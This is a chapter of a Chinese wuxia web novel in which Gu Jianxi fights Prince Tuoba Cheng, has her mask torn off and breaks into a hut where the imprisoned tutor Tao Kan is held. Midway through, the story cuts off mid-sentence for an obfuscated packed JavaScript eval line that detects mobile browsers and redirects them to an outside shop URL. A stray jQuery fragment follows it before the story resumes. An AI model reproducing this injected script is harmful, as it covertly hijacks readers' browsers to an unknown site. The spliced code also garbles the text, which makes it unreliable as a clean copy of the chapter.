顾简兮拆解、融汇挽澜刀的招式,越打越稳,越打越活。
拓跋铖眼看这小野猫的利爪磨得越来越锋利,他堂堂大魏三皇子,竟被她当成了练功的靶子!他不禁气急败坏,却忍不住更加欣赏顾简兮的灵性,更加对她志在必得。
“好得很!”
拓跋铖的声音陡然沉下去。眼中那点玩味彻底褪尽,取而代之的是一片阴鸷的冷光:
“拿本皇子来喂招——你胆子还真不小!”
话音未落,他出手猛然变了路数。掌风直劈顾简兮面门,逼她不得不全力应对。
顾简兮侧身闪避,匕首横削他的小臂,却被他一掌震开。
他的攻势越来越快,掌、爪、指交替使出,每一招都带着三分狠辣、三分狎昵。他勾向她的腰、扣向她的手腕、指尖划过她耳后,每一击都意图撕下那张假面,一睹那张他势在必得的脸。
顾简兮晓得三分狠戾是拓跋铖本性,另外三分狎昵亦是此人劣根,恨自己武功尚未全得挽澜刀精髓——再给她几年功夫,她定要把这北魏三皇子当个猴来戏耍!而不是像现在这样,憋憋屈屈只能防守。
顾简兮被逼得连连后退,肩膀撞上一根廊柱,脚下已至连廊尽头。
拓跋铖欺身上前,与顾简兮短兵相接。
他陡然一个快招后,一只手扣住顾简兮握刀的手腕,另一只手朝她脸侧袭来。
顾简兮仰头避让,那只袭来的手却狡猾地转了回来,顾简兮只慢了半分,那只手却已沿下颌线向上探来。他的指甲划过她耳后边缘,指尖勾住那层薄薄的软皮,轻轻一扯——那张假面被他捏在指间。
顾简兮的脸暴露在廊柱尽头的灯光中,暴露在上元日近乎圆满的月色里。
灯笼里烛火晃动,照出一张巴掌大的小脸。
眉如远山,鼻梁秀挺,一双杏眼因怒意格外明亮,带着一股子野性和生气。那双眼明明没有笑意,却让整条连廊都亮了几分。
拓跋铖怔住片刻。
他眼底有什么东西翻滚了一下,随即嘴角缓缓扬起,带着一丝意味不明的笑:
“竟是这副模样……”
他声音低下去,带了几分沙哑,“怪不得谢璟——”
话音未落,廊道深处忽然传来一声清脆的响声——瓷片摔在青砖上的声音。听那动静,却像是什么人刻意摔碎了什么。
声音在这偏僻之地格外清晰。
拓跋铖眉头微皱,朝廊道尽头瞥了一眼,心道:“只顾着戏弄这只小野猫,竟将来意给忘了!”
顾简兮也听到了。
她循声望去——连廊尽头不远处,是一座藏于竹林之中的小屋,竹林之外,还有冬日的枯木,月光下一片虬髯枝丫。
奇怪,北魏风寒之地,竟有这样一片茂盛竹林,在冬日里格外突兀。这处景致倒颇像爹爹在灯上作过的画——爹爹说,北朝都是草原的广阔,南方,却处处是竹林的风骨。竹林之中的小屋,门似乎落了锁,只门缝漏出一线昏黄的烛光,在夜风中微微晃动。
那座小屋,在上元日热闹喧哗的王府,遗世独立。
顾简兮的心猛地一跳。
那小屋——她隐隐有一种感觉,落了锁的门里关着的,才是大晋昭德太子的太傅——陶侃。
镇北王府的暗桩和谢统领一行探到的消息,都是陶太傅被拘在王府偏殿,夜宴上宇文忌也是如此这般说。
但这若是拓跋铖为了混淆视听故意放出的消息呢?
拓跋铖手里还捏着那个假面。他向小屋望了一眼,眼神再回到顾简兮身上时,那股子阴戾和疯劲更甚。他又上下打量顾简兮,好像要用目光把顾简兮身上看透似的。
然后他阴阳怪气地说:
“今年这上元日真是绝了!那老头最是敬服昭德手下第一猛将顾昭。如今顾昭死了,他的女儿却送上门来!顾简兮,你说,我擒了你,送到那老头面前,他见到故人之后,会不会求我放了你?哈哈哈……”
“果然是陶太傅!”
顾简兮心下快速盘算,鲁贺曾说过,陶太傅被囚二十年不肯叛晋。夜宴之上,拓跋铖亲口说陶太傅不肯做他的老师,可陶太傅却又三言两语点拨大魏皇帝,让拓跋铖当这先锋大将军攻晋。
陶太傅到底意欲何为?
“不管怎样,陶太傅是爹爹的故人,只有他知道二十年前秦州战场和爹爹消失于秦州的真相,必须要见到他。”顾简兮心道。
眼见拓跋铖又快速攻来,顾简兮凝神对敌。
她攥紧手中匕首,在拓跋铖以为就要得手,嘴角得意地扬起之际,顾简兮一脚蹬在廊柱上,整个人如离弦之箭掠向小屋方向。
“天堂有路你不走,地狱无门你闯进来!”拓跋铖见顾简兮竟自己主动朝小屋方向逃,不禁得意洋洋,脚尖点地快速追着顾简兮飞掠过去,在接近顾简兮时顺势击出一掌,掌风袭去,击得周围的枯树枝纷纷摇晃。
顾简兮等的就是这一掌!
她心里始终记得谢璟陪她练回澜一式的情景。那时,谢璟没有说话,只是不断出剑,一剑快过一剑。她被逼得步步后退,却渐渐摸到了门道——回澜的要诀不是硬挡,而是“转”。敌人的攻势越重,就转得越快,将他的力给他还回去!
顾简兮全神贯注等着拓跋铖的用力一击,此刻拓跋铖掌风所至,周围树木皆晃动不已,“就是此刻了!”顾简兮迅速决断,忽然一个旋身,以手中短刃为刀,顺着拓跋铖掌风,柔柔地转动手腕,劈出了挽澜刀的“回澜”!
拓跋铖早已认定这一掌出去,擒住顾简兮必是十拿九稳的事!哪料顾简兮竟突然旋身挥刀,那把短刃此刻劈出来的,却是今晚最强劲的刀势——她竟借了他掌风的力道,借力打力!
拓跋铖猝不及防,被自己的掌风劈了个正着!为了避开掌风余波,他不得不腿下一顿,原本飞掠的身体竟生生掉了下去,又朝后退了数步,才堪堪在地面上站稳。
顾简兮却朝拓跋铖下巴一抬,扬扬眉毛,脚下动作却一刻也不曾停,迅速往前掠至小屋门口。她手腕一沉,匕首精准地斩在锁扣上,铁锁应声落地。
然后她撞开那扇门,闪身而入,反手“砰”一声将门合上,落了闩。
拓跋铖还停在原地发怔,待几息后捋清刚才短短一瞬发生了什么,他表情变得极为丰富。
“哈哈哈哈……”知晓自己被顾简兮摆了一道,他气极反笑,又觉抓心挠肝——“这只小野猫,当真有趣!有趣!”他嘴里说着,转瞬又一脸阴沉:“看我剪了你的利爪,把你变成我的家猫,折了那潜曜公
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779353|206755||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子的一颗心!”
“来人!悄悄将这屋子给我围起来!”
拓跋铖终于向暗处下了命令。
王府府兵从连廊外悄悄集结,迅速朝小屋奔涌而来,没有惊动王府观灯和夜宴的人们。
屋内,顾简兮背靠门板,借着昏暗的烛光打量眼前景象——一个清瘦的老人正坐在木案前,不远处的地上,是一只碎成几瓣的粗陶杯。
老人年逾花甲,身骨清瘦,穿着一件旧青色布袍,洗得发白,却齐整干净。他脸色在灯光下稍显苍白,颧骨微突,眼窝略陷,一双眸子静如古井,望过来时带着一股沉定之气——一种看透世事、波澜不惊的坦然。
顾简兮心中更加笃定此人就是昭德太子太傅——陶侃。她出生猎户,对猎物天然有一种直觉,陶太傅虽不是猎物,却是她见过的几个上位者中,又一个气质突出的人物。
这种岁月、身世、教养涵养出来的通身气派,只有遇见了,才晓得原来人的修养,真正定义了你是谁,以及你在这世间的位置。芸芸众生宝贵,然芸芸众生中,总有一条路,注定是各人自己的路——所以,爹爹最后走向的是他的路吗?顾简兮心一痛,抿抿唇努力将这些杂念统统都压下去。
这些不过是顾简兮在见到老人的瞬间电光火石的想法。但少女仍然敏锐地察觉到,自己开始习惯尝试用谢启明甚至谢璟的方式去思考处境了。
老人抬头看着闯进来的少女,神情平静,像是并不意外有人闯入,苍老的声音里带着一丝近乎淡漠的镇定:
“你惊动了拓跋铖。”
顾简兮喘着气:“前辈是何人?”
“姑娘是何人?”陶太傅抬眼反问眼前的少女。
“昭德太子座下挽澜刀顾昭的后人。”顾简兮站得笔直,沉声道。
“顾昭的后人?”老人重复了一遍,腾的站了起来:
“你是顾昭的女儿?”
他原本深井无波的脸上,因激动焕发了神采。此刻紧紧盯着眼前少女,又像是在脑中回忆故人二十年前模样。
“像!五官皆不似顾昭,但通身流露的那股子气势,跟他如出一辙!又不像,这双眼睛灿若星辰,流光溢彩,顾昭哪有这样一双眼睛——看来,顾将军倒是好福气,娶了一个美貌夫人呐!”
老人自言自语,喃喃不停。“好啊!顾昭有后人,好啊……”
老人所言,顾简兮听不太分明,但此刻最要紧的是带老人出去。
“前辈,我爹爹已被晋帝天字号首领天魁星毒杀于北秦巴彦山上昭德太子衣冠冢旁。我和阿兄想查清晋帝命天字号灭顾家一门的真相,听北魏拓跋铖的人无意透露,前辈被囚北魏二十年。故今来平城寻前辈。时间紧迫,拓跋铖追兵已在门外,还请前辈快快跟晚辈一起走。”
“丫头,你说什么?顾将军……死了?”陶太傅清瘦的身躯晃了晃,差点倒下去。
屋外,拓跋铖的脚步声已至门口。
“前辈,跟我走!”顾简兮急促道,“来不及细说了——拓跋铖就在门外,此地不宜久留!”
陶太傅没有再问。他勉强从先前的震惊和悲怆中站起身,动作极慢,像是身子骨被二十年的囚禁拖垮了。
顾简兮上前一步,正要去搀他,身后的门已被一脚踢开。